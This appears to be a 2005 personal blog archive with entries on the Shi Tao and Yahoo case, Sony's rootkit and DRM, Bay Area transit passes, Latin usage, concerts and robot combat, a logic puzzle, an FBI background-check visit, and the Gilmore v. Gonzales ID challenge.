Born in Taipei in 1968, you moved to the United States at the age of 10 and then entered Stanford University to study electrical engineering. Your business intuition and talents are admirable. While preparing your doctoral thesis, you designed software for Internet searching, and then, in 1995, you co-created the Yahoo! Internet navigational guide with David Filo and co-founded Yahoo! Inc. Your company brings convenience to billions of netizens around the world, including about 100 million Chinese netizens.

Shi Tao, aged 37, is a native of Ningxia Hui Autonomous Region. He was a famous campus poet and took an active part in the pro-democracy movement in 1989 when he was a student at East China Normal University. The Tiananmen Massacre changed many people, including Shi Tao, and rendered him into a journalist who writes under the guidance of his conscience, a poet who pays attention to the tortured and oppressed and a fighter against the dictatorship.

You are luckier than Shi Tao. You were born into an authoritarian society in Taiwan, but you left for a country of freedom, where you received a first-class education and became the tycoon of the cyber economy. You can live with dignity without worrying about the terror of politics; you can cultivate your talents without being controlled by officials, and you can obtain information and learn facts without worrying about your personal safety.

But Shi Tao has been tortured by the memory of blood. He must face the terror of politics, must fight against the abuse of personal freedom and dignity and must hold to his conscience as a man. In China, where everything is settled behind closed doors, Mr. Shi has no way of identifying what is a "state secret" and what is not, and moreover, he lacked knowledge about your company's latent business principles.

Thanks to Leonard for finding this great self-referential sentence:

"They say an axe murderer lived in this sentence once," says Giblets. "But he killed all references to himself."

I found the anycast tutorial by Bill Woodcock very interesting and helpful. It also makes me quite uneasy in my confidence in my understanding of Internet topology.

This is hilarious. A report says that Sony Music's bundled rootkit inadvertently defeats Blizzard's bundled spyware. (More precisely, the rootkit gives people a tool to use to hide things from the spyware. See "Lowcost superb RING0 rootkit developed(payed) by Sony BMG".)

It's the latest incarnation of real-life Core War on the PC.

P.S. Lessig says that "code, law, norms, and architecture" regulate; if so, getting mad (and getting other people mad) about rootkits and spyware may serve a concrete purpose. As J.B. Nicholson-Owens suggests in a comment on Ed Felten's blog, we can imagine a world in which people don't put up with software that undermines its user and has to fight with other software.

P.P.S. There are more points of view about this than you might think, because there is a seemingly large and growing community of security people in the business world who neither want users to be able to modify software in ways that its publishers disapprove of nor want software to be able to conceal itself, spy on other software, or attack other software. Those people support the idea of Blizzard preventing people from modifying Blizzard games (or even from writing software like bnetd) but oppose the idea of Blizzard using (or having to use, or being allowed to use, or being able to use) spyware to accomplish this objective.

John Gilmore recently persuaded me to get a San Francisco Muni monthly pass. I first suggested that it might not be a good deal for me since I don't use transit to commute to work every day, but it turns out that it's often a good deal if you use transit about an average of once per day. I told John that I wasn't sure whether I use transit even that much, and he pointed out that having a flat rate makes people much more willing to use transit -- if they see a bus, they can just get on without needing to pay a fare, even if they only want to travel a short distance. So you can be a more impulsive transit user, because you never experience a marginal cost from choosing to use transit.

Sure enough, I've already used my pass for about $10 of transit service in just two days, and it's already making me see Muni as a more practical and ubiquitous option. Having the pass probably will increase my use of transit to an average of more than once a day. And it works on BART and even cable cars.

When I lived in Berkeley, I had a BART Plus pass. It's interesting to contrast the Muni fast pass with the BART Plus pass.

Muni fast pass:

BART Plus:

The bus pass feature of both passes expires at the end of the period of validity of the pass, but the BART Plus ticket can still be used for for-fee travel on BART after that period.

BART Plus became a drastically less good deal for people who live in (or often travel to) the East Bay when, a few years ago, it stopped being valid on AC Transit. AC Transit support is still a glaring omission for BART Plus.

At present, I see the Muni pass as a much better deal. I think my experience will show that it can be useful even for people who aren't regular transit commuters. I doubt that the same can be said for BART Plus. And people who really ride BART across the Bay frequently might well be better off with a high-value ticket, which provides a slight discount without also serving as a bus pass.

Congratulations, Anirvan and Charlie!

Now the Bay Area Cena Latina, one of my favorite things to do, has a home page.

Venite omnes!

At the Rusticatio Californiana, we had a fun tradition of having an "adverb of the day". One of the best-loved adverbs of the day was promiscue, and it was that adverb that came to mind when I thought about how to describe the vast and secret collection and retention of data through National Security Letters described by the Washington Post in a front-page article this week.

Best line: "What happened in Vegas stayed in Federal data banks."

This is said to be a common error, but it turns out to be so common that it even affects Latinists:

http://la.wikipedia.org/wiki/Interrete:

Interrete (-is, n) (Anglice: internet) totum mundum computatris connectat. Multi sunt servi, ubi paginae domesticae (in forma .html) et data varia locatae sunt. Computatra clientes vocata data a servis accipent, saepe ad paginas domesticas inspiciendam. Ductus electronici multa data transportant.

Interrete inventus est Genavae, in aedibus institutionis Europaenae CERN vocatae.

That is:

The Interrete (genitive Interretis; neuter) (in English: Internet) connects the whole world through computers. There are many servers where home pages (in HTML format) and various data are located. Computers called clients receive data from the servers, often in order to view home pages. The electronic paths carry much data.

The Internet was invented in Geneva at the facilities of the European institution called CERN.

This kind of error could seriously undermine the credibility of the Latin Wikipedia.

This weekend, I went to two very different cultural events in San Francisco.

On Saturday, courtesy of the Craigs, I went to the San Francisco Symphony to hear a performance of Carl Orff's Carmina Burana, which was one of my favorite things to listen to in high school. I've only heard it performed live once before, at UC Berkeley in 2000.

The San Francisco Symphony's version was fantastic, and it was especially amusing due to the informality and joking around of the conductor and soloists. During the lead-in performance of La Noche de Los Mayas, several audience members mistakenly applauded after the second movement. (At classical concerts the social convention is that you applaud only at the end of a composition, not at the end of a section of a composition. This means much less frequent applause than at other kinds of concerts. Often, a few people in the audience don't know this or are confused about when a composition has ended; usually the social pressure of the other audience members' silence gets them to stop right away.)

The San Francisco Symphony tells first-time concert-goers that

[i]t is considered proper concert etiquette to clap only after a piece is complete. This means, for example, if you're listening to Beethoven's Symphony No. 9, which has four movements, it is appropriate to clap after the last movement. You can look at your program book to find out how many movements a piece has. Usually, there is a 15- to 30-second pause in between movements. So, in the case of Beethoven's Ninth Symphony, you know you're hearing the Finale after three pauses. If all else fails, you can always wait for the rest of the audience to clap before applauding.

At the concert on Saturday, some people started clapping in between movements, and the conductor turned right around and exclaimed -- to the majority of the audience which had remained silent -- something like

Listen, we all know there's not a musician in the world who doesn't like applause and don't let anybody tell you otherwise.

This was hilarious and was greeted with much laughter and applause.

Later, the soloist singing "Olim lacus colueram" actually acted out (with great enthusiasm) the whole story of being a swan about to be eaten, and all the soloists really got involved in their parts and played them up humorously. And I think that's interesting because I've heard discussion of the phenomenon that, since Carmina Burana is in Latin, some people will approach it very solemnly, like an ancient religious text. This is funny because Carl Orff's own title for his piece is Cantiones profanae cantoribus et choris cantandae comitantibus instrumentis atque imaginibus magicis, which starts out by telling us that they are "secular songs" or even "profane songs". And certainly their content is that -- so these particular soloists really seemed to appreciate that point thoroughly.

One interesting thing was the number of different ways of pronouncing Latin. The several choruses all pronounced intervocalic c as ts, whereas I think two of the soloists pronounced it as ch and the other as ts. (I pronounce it as k.) One of the soloists, on the other hand, pronounced at least one intervocalic t as ts. (I should compare this with modern spoken German; I have a theory that that's where it came from, because some classical singers may be extremely familiar with German phonetic rules.) It's funny to hear people pronounce Latin differently from the way I do, but it's even funnier to hear different musicians in the same performance pronounce it differently. I guess it's hard for the conductor to get them all to override their years of training and practice...

On Sunday, at Zooko's recommendation, I went to the ComBots robot battle tournament at Fort Mason Center. Here I saw various robots smashing, tossing, and grinding each other up.

The most exciting thing was when a "spinning" robot, which was either spinning as a unit or else carried a rapidly spinning cutting blade, clashed with another robot of whatever kind. This invariably produced sparks and sometimes produced flying shrapnel. The robots fought each other inside an enclosure of bulletproof glass. Not only was this repeatedly proven necessary as robots and robot parts slammed into it at high speed, but we ever sometimes wondered whether some of the spinning robots would break through it if they were thrown up against it at the right angle. After all, the walls of the arena inside the bulletproof glass enclosure were made of steel I-beams (the kind used in construction), and the spinning robot Megabite had repeatedly torn enormous gashes straight through the I-beams on contact. If a fighting robot can cut through a steel I-beam, perhaps it can cut through bulletproof glass, too.

The robot builders followed various strategies: essentially, these were the spinner, the wedge, and the hammer. (A spinner either spins its body or a separate cutting blade at extremely high speed; if it has a separate blade, it could be mounted either horizontally or vertically, which makes a big difference in combat. A wedge tries to flip its opponents over, or pick them up and dash them into the walls, or sometimes pick them up and flip them out of the arena, which may involve a moving arm. A hammer tries to smash the other robot from above with a heavy moving part.) There is a great deal of variation within these categories, including with regard to weight distribution, whether there is a robot arm present, whether the wheels are shielded, what kind of wheels and motors are used, etc. The spinners definitely produce the most drama, with sparks constantly flying everywhere, but some people described a rock-paper-scissors situation where each strategy had strengths and corresponding vulnerabilities.

I had a great time at both Carmina Burana and ComBots and am happy to live in a city that offers them on a regular basis.

Upon reading in Wikipedia this evening that George Boolos practiced constrained writing by delivering a speech on Gödel's Incompleteness Theorem in words of a single syllable, I pulled out Boolos's Logic, Logic, and Logic, where I found the speech. It's pretty good, although it only explains Gödel's Theorem, without proving it. Still.

There's some fabulously fun stuff at the end of Logic, Logic, and Logic, including a new typography for a limerick about W. V. O. Quine, a refutation of Penrose on humans' noncomputational ability to "see" that Gödel sentences are correct, and the thing I want to mention here, which Boolos calls "the hardest logical puzzle ever".

When I read it, I realized that someone some years ago had presented me with a slightly easier version of the puzzle, that I had worked on it for about three days, and that I had come up with a proof that the puzzle was impossible to solve. (My proof turned out to be wrong!) The original version that was presented to me was Raymond Smullyan's version; Boolos explains in a footnote that John McCarthy (yes, that John McCarthy) proposed the change that makes it even harder (but still solvable).

This puzzle is an extreme twist on the familiar liar/truthteller puzzles, which have already been elaborated in all directions by Raymond Smullyan. In Boolos's view, this puzzle is at the apex of Smullyan's work in the genre.

Here is how Boolos phrases the puzzle (omitting his footnote on McCarthy's contribution):

Three gods A, B, and C are called, in some order, True, False, and Random. True always speaks truly, False always speaks falsely, but whether Random speaks truly or falsely is a completely random matter. Your task is to determine the identities of A, B, and C by asking three yes-no questions; each question must be put to exactly one god. The gods understand English, but will answer all questions in their own language, in which the words for "yes" and "no" are "da" and "ja," in some order. You do not know which word means which.

My impossibility argument came back to me as I was thinking about this puzzle. Here it is: Each question you ask will yield at most one bit of information. The number of bits necessary to express who is who will be ld(3 P 2) (the dual logarithm of the number of permutations of three elements taken two at a time), which is about 2.58 bits. However, when you ask the first question, since you don't know who is random, it is possible that the answer you get will be random, and hence independent of the assignment of names to gods, and hence not yielding any information whatsoever. (That is to say, the answer may not decrease your uncertainty about which god is which in any respect, because the answer could be "ja" completely independently of which god was which, and the answer could be "da" completely independently of which god was which.) Even if you had a way to get one bit of information from each of the two remaining yes/no questions, the total amount of information you could get would be 2.0 bits, which is not enough.

My argument is wrong and the puzzle can actually be solved in a deterministic way. When I first heard the puzzle, I was attached to my impossibility argument and could not be talked out of it until someone told me the solution, whereupon I agreed that it was right.

This is a great puzzle, and I wish I could remember who first asked me about it.

Matthew Skala writes:

Sony should, and I hope will, pay dearly for its transgressions in this matter, but I hope we don't lose track of the real point. The real point is that DRM is intolerable. This was an especially intolerable form of DRM, but any DRM is intolerable; we, as users, should not tolerate DRM, period. A kinder, gentler DRM with the most serious holes of this one fixed would NOT be okay. There can be no acceptance of DRM at all.

The first rule of Security Theatre is never to talk about Security Theatre.

(Ruidh on Schneier's blog)

I went to Cirque du Soleil's show Corteo with Michelle and Nicol in San Francisco last night.

I was totally amazed and would be eager to see their other shows. This was the first time I've ever seen Cirque du Soleil in person, and the first time in about twenty years I've seen any circus (if I exclude the aerial tissu artists in a theatrical performance I saw in Seattle).

For me, one of the most special moments was seeing someone actually floating on a bunch of helium balloons -- since one of my favorite books as a child was The Twenty-One Balloons, a children's adventure/utopia by William Pène Dubois. I liked it so well that I'm sure I re-read it at least three times. Among the many fabulous things in The Twenty-One Balloons was an image of a child hanging, for fun, from the bottom of a helium-filled weather balloon and bouncing high into the air -- almost flying. Thanks to Cirque du Soleil, I've finally seen it happen.

I also greatly admired the skill with which the Cirque acrobats jumped up and down on beds, and Uzeyer Novruzov, the ladder expert, who would climb (and walk around on) ladders that weren't balanced against anything, while being chased by friendly robots and a flying angel. I also enjoyed the symphonic performance by a whistling ringleader, a table full of water-filled wineglasses, and some whirling players of glowing bells. I would also mention the Cyr wheel as one of several acts that I wouldn't have imagined were physically possible for people to perform, and the cleverness of having the high-wire walker walk up a slanted wire. The whole show was full of wonderful things.

Corteo will be here in San Francisco until January 8.

This afternoon an FBI Special Agent came to my door and showed me his badge.

I was sure that he was going to ask me about laser printer forensics, how much we know about the government's ability to track documents, why we're publishing it, who's helping us figure it out, etc.

But it turned out that the agent just wanted to interview me for a background check on one of my former neighbors who's applying for a job with a Top Secret security clearance. The agent didn't know me (or EFF) from Adam.

I have three observations about this experience.

First, I gave the agent a lot more information than I would have expected, both because he was an authority figure who took me by surprise, and because I didn't want to cause any trouble for my former neighbor's employment prospects. This despite the fact the FBI could theoretically have been investigating the neighbor himself (or one of his friends) under the guise of an employment-related background check. Law enforcement agents are often allowed to lie to people while gathering evidence.

Second, if the FBI actually wanted to interview me about something I was working on, they would probably have sent two agents, not just one -- or such is the experience of everyone I know who's been interviewed by Federal law enforcement.

Third, the interview was extremely anticlimactic. Here I am working on all of this privacy stuff and political stuff, and when a law enforcement agent actually comes to my house, he just wants to know if I think my former neighbor should get a government job.

I deliberately bought an older ATI card in order to get accelerated X support without using proprietary software. I still need to put together some notes on how to play DDR without proprietary software -- one of my favorite topics.

So Don, when you get that new Intel machine, could you do me a favor and run StepMania for a minute to see what frame rate you get? For frame rate display, just do Options / Graphic Options / Show Stats / On. You can play a song (there is no end to techno) using the keyboard arrows without even hooking up a dance pad.

I would absolutely love to hear about current graphics hardware that is supported by a free driver...

Before the end of the year I should mention that I attended the oral argument in Gilmore v. Gonzales. Eric Rescorla has found audio recording of that argument (in WMA format, argh!). I don't have much to say about the argument that hasn't already been said in the press. There was some merriment about the bizarreness of having secret laws (even the lawyer for the United States admitted that this sounds "Orwellian"); there was much procedural wrangling about where such a case belongs. (Normally you appeal agency rules directly to a court of appeals. But normally you get to read agency rules and normally the agencies admit that their rules exist, and publish them in the Federal Register. Here the government continues to claim that it can't even tell the public whether or not there is a rule.)

I think the judges were uncomfortable with the idea that there is something wrong with requiring ID from airplane passengers, even though there is no caselaw that specifically says that the government has authority to make airplane passengers say who they are. The ID requirement (even though it's not written down anywhere in public) is a familiar idea that most people have internalized. This suggests to me that there is extrajudicial precedent (perhaps we should say "inertia") in addition to the precedent of caselaw. When something is widespread and familiar in society, judges are influenced by the common intuition that it is probably appropriate. This is so even in the absence of written law or binding legal authority. Certainly this was the case at common law many years ago -- the antiquity or ubiquity of a tradition was a powerful consideration for judges. I think this is still true today. That suggests that there's a lot of value in bringing a challenge to something on the very first day that it's done (when it will still seem like an alien idea and a usurpation of the people's ancient liberties) instead of years later (when the notion of stopping it will seem like an alien idea, etc.). Perhaps the status quo in general -- not just possession -- is nine-tenths of the law.

The trouble is that people might not notice that something is wrong on the first day that it's done, or it might take many years for a movement to crystallize that can articulate concerns about a practice. We don't necessarily have lots of activist movements sitting around idle and ready to file challenges against every single innovation (although I'm sure it feels that way sometimes...).

The latests news about Gilmore v. Gonzales is that the 9th circuit panel has requested an in camera briefing about just exactly what this secret law, directive, regulation, rule, etc., is. So they, unlike John Gilmore, will find out just what it is that Gilmore is trying to challenge.

Vitanuova for 2005
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Contact: Seth David Schoen